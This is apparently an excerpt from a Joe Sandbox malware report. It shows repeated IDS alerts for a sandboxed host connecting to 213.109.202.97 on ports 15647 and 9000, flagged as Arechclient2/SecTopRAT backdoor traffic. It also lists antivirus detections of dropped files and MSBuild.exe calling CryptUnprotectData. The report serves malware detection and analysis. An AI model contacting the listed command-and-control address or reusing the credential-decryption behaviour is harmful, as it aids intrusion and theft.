2024-09-26T01:49:18.481118+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.496785+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.512422+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.527977+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.547095+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.560096+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.574791+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.590534+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.605985+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.621768+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.639236+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.652838+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.670996+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.684202+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.699903+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.715867+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.733397+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.746934+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.762707+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:18.778198+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58391	213.109.202.97	15647	TCP
2024-09-26T01:49:20.424103+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.434366+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.453493+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.467793+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.481575+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.499780+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.515512+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.531507+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.543567+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.560362+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.574727+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.591321+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.606126+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.623529+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.637303+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.657536+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.669490+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.684898+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.701496+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.721502+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.732324+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.747907+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.763591+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.778094+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.793854+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.810398+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.825177+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.842162+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.857969+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.872262+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.889313+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.905135+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.918530+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.935694+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.949770+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.965709+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.981227+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:20.996719+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.043711+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.067730+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.148487+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.198078+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.214557+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.253628+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.279047+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.316511+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.328382+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.340770+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.356498+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.386752+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.480631+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.501583+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.513489+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.528576+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.544151+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.562913+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.575946+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.598986+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.612195+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.632037+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.653187+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.668566+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.684371+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.700959+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.715389+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.731315+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.746715+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58392	213.109.202.97	15647	TCP
2024-09-26T01:49:21.768096+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.777945+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.793556+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.810307+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.825003+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.840441+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.857008+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.871639+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.887313+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.904333+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.918652+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.934191+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.949798+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.965899+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.981698+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:21.999651+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:22.012250+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58393	213.109.202.97	15647	TCP
2024-09-26T01:49:22.033243+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.043514+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.059434+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.074767+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.091280+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.107501+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.121618+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.137381+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.152878+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.168581+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.184148+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.201355+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.215718+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.232213+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.631113+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:22.636047+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58394	213.109.202.97	15647	TCP
2024-09-26T01:49:50.737325+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:50.767013+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:50.778620+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:50.793410+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:51.350364+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58407	213.109.202.97	15647	TCP
2024-09-26T01:49:53.951907+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58410	213.109.202.97	15647	TCP
2024-09-26T01:49:54.097566+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58410	213.109.202.97	15647	TCP
2024-09-26T01:50:41.203320+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58417	213.109.202.97	15647	TCP
2024-09-26T01:50:41.699102+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58417	213.109.202.97	15647	TCP
2024-09-26T01:50:42.081575+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.218297+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.252977+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.267644+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.282074+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.296477+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.306345+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.330664+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.444294+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:50:42.449139+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58418	213.109.202.97	15647	TCP
2024-09-26T01:51:19.977943+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58432	213.109.202.97	15647	TCP
2024-09-26T01:51:21.766380+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:21.975967+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:25.278407+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:25.281554+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58434	213.109.202.97	15647	TCP
2024-09-26T01:51:26.489884+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.533401+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.563606+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.645245+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.660163+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.695819+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.708184+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.747271+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.767834+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.787480+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:26.812155+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP
2024-09-26T01:51:27.049633+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58436	213.109.202.97	15647	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T01:48:02.422501+0200	2052248	1	A Network Trojan was detected	192.168.2.7	49717	213.109.202.97	9000	TCP
2024-09-26T01:48:11.926746+0200	2052248	1	A Network Trojan was detected	192.168.2.7	49718	213.109.202.97	9000	TCP
2024-09-26T01:48:13.849530+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58353	213.109.202.97	9000	TCP
2024-09-26T01:48:18.010960+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58354	213.109.202.97	9000	TCP
2024-09-26T01:48:22.251020+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58355	213.109.202.97	9000	TCP
2024-09-26T01:48:24.020362+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58356	213.109.202.97	9000	TCP
2024-09-26T01:48:25.875148+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58357	213.109.202.97	9000	TCP
2024-09-26T01:48:27.641824+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58358	213.109.202.97	9000	TCP
2024-09-26T01:48:29.511209+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58359	213.109.202.97	9000	TCP
2024-09-26T01:48:33.641766+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58360	213.109.202.97	9000	TCP
2024-09-26T01:48:35.510412+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58361	213.109.202.97	9000	TCP
2024-09-26T01:48:37.284317+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58362	213.109.202.97	9000	TCP
2024-09-26T01:48:39.158389+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58363	213.109.202.97	9000	TCP
2024-09-26T01:48:40.924574+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58364	213.109.202.97	9000	TCP
2024-09-26T01:48:45.157926+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58365	213.109.202.97	9000	TCP
2024-09-26T01:48:49.302589+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58366	213.109.202.97	9000	TCP
2024-09-26T01:48:51.204873+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58367	213.109.202.97	9000	TCP
2024-09-26T01:48:52.969408+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58368	213.109.202.97	9000	TCP
2024-09-26T01:48:54.847353+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58369	213.109.202.97	9000	TCP
2024-09-26T01:48:56.668314+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58370	213.109.202.97	9000	TCP
2024-09-26T01:48:58.565075+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58371	213.109.202.97	9000	TCP
2024-09-26T01:49:00.331407+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58372	213.109.202.97	9000	TCP
2024-09-26T01:49:02.226300+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58373	213.109.202.97	9000	TCP
2024-09-26T01:49:04.157276+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58374	213.109.202.97	9000	TCP
2024-09-26T01:49:06.036299+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58375	213.109.202.97	9000	TCP
2024-09-26T01:49:07.819379+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58376	213.109.202.97	9000	TCP
2024-09-26T01:49:09.689261+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58377	213.109.202.97	9000	TCP
2024-09-26T01:49:14.100490+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58378	213.109.202.97	9000	TCP
2024-09-26T01:49:16.009583+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58386	213.109.202.97	9000	TCP
2024-09-26T01:49:29.675597+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58389	213.109.202.97	9000	TCP
2024-09-26T01:49:31.562076+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58395	213.109.202.97	9000	TCP
2024-09-26T01:49:33.330521+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58396	213.109.202.97	9000	TCP
2024-09-26T01:49:35.205504+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58397	213.109.202.97	9000	TCP
2024-09-26T01:49:36.970760+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58398	213.109.202.97	9000	TCP
2024-09-26T01:49:38.831154+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58399	213.109.202.97	9000	TCP
2024-09-26T01:49:40.614579+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58400	213.109.202.97	9000	TCP
2024-09-26T01:49:42.487966+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58401	213.109.202.97	9000	TCP
2024-09-26T01:49:44.253566+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58402	213.109.202.97	9000	TCP
2024-09-26T01:49:46.150297+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58403	213.109.202.97	9000	TCP
2024-09-26T01:49:47.909401+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58404	213.109.202.97	9000	TCP
2024-09-26T01:49:49.784804+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58405	213.109.202.97	9000	TCP
2024-09-26T01:49:51.585694+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58406	213.109.202.97	9000	TCP
2024-09-26T01:49:53.532794+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58408	213.109.202.97	9000	TCP
2024-09-26T01:50:07.189302+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58409	213.109.202.97	9000	TCP
2024-09-26T01:50:21.189494+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58411	213.109.202.97	9000	TCP
2024-09-26T01:50:22.970927+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58412	213.109.202.97	9000	TCP
2024-09-26T01:50:36.723928+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58413	213.109.202.97	9000	TCP
2024-09-26T01:50:38.470559+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58414	213.109.202.97	9000	TCP
2024-09-26T01:50:40.363725+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58415	213.109.202.97	9000	TCP
2024-09-26T01:50:42.172048+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58416	213.109.202.97	9000	TCP
2024-09-26T01:50:44.049623+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58419	213.109.202.97	9000	TCP
2024-09-26T01:50:45.816368+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58420	213.109.202.97	9000	TCP
2024-09-26T01:50:47.675700+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58421	213.109.202.97	9000	TCP
2024-09-26T01:50:49.442562+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58422	213.109.202.97	9000	TCP
2024-09-26T01:50:51.321703+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58423	213.109.202.97	9000	TCP
2024-09-26T01:50:53.117082+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58424	213.109.202.97	9000	TCP
2024-09-26T01:51:06.914047+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58425	213.109.202.97	9000	TCP
2024-09-26T01:51:08.854622+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58426	213.109.202.97	9000	TCP
2024-09-26T01:51:10.743709+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58427	213.109.202.97	9000	TCP
2024-09-26T01:51:14.920463+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58428	213.109.202.97	9000	TCP
2024-09-26T01:51:16.961254+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58429	213.109.202.97	9000	TCP
2024-09-26T01:51:18.739697+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58430	213.109.202.97	9000	TCP
2024-09-26T01:51:20.671039+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58431	213.109.202.97	9000	TCP
2024-09-26T01:51:24.839535+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58433	213.109.202.97	9000	TCP
2024-09-26T01:51:26.742451+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58435	213.109.202.97	9000	TCP
2024-09-26T01:51:28.524056+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58437	213.109.202.97	9000	TCP
2024-09-26T01:51:30.411732+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58438	213.109.202.97	9000	TCP
2024-09-26T01:51:34.302742+0200	2052248	1	A Network Trojan was detected	192.168.2.7	58439	213.109.202.97	9000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\kwvvjj	Avira: detection malicious, Label: HEUR/AGEN.1307453
Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy	Avira: detection malicious, Label: HEUR/AGEN.1307453

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\kwvvjj	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy	Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6C550 CryptUnprotectData,		10_2_06D6C550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6C548 CryptUnprotectData,		10_2_06D6C548

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

